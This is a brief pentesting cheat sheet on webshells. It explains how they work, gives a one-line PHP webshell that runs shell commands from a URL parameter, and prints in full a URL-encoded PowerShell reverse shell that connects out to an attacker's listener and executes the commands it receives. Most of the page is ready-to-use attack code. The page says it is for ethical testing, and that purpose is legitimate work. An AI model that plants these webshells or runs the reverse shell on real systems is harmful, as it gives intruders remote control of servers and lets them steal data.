WebShells
What is a Webshell?
A webshell is a script (often in PHP or ASP) that runs on a web server, allowing users to execute commands remotely through a web interface. It serves as a useful tool for gaining access to a server when direct methods like reverse or bind shells are not possible.
How Webshells Work
Webshells accept commands via URL parameters or HTML forms, executing them on the server and returning the results. This can help bypass firewalls and security measures.
Basic Example
A simple PHP webshell can be written as:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
This allows commands to be executed by appending ?cmd=
to the URL.
Available Webshells
Kali Linux includes various webshells in /usr/share/webshells
, such as the PentestMonkey PHP Reverse Shell, which is designed for Unix-based systems.
Remote Code Execution on Windows
For Windows targets, RCE can often be achieved using a URL-encoded PowerShell reverse shell. This can be included in the URL as a command parameter.
Example Command
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
Replace <IP>
and <PORT>
with your listener's details.
Conclusion
Webshells are effective for executing commands on web servers, making them valuable for penetration testing. Always use these techniques ethically and responsibly.
Last updated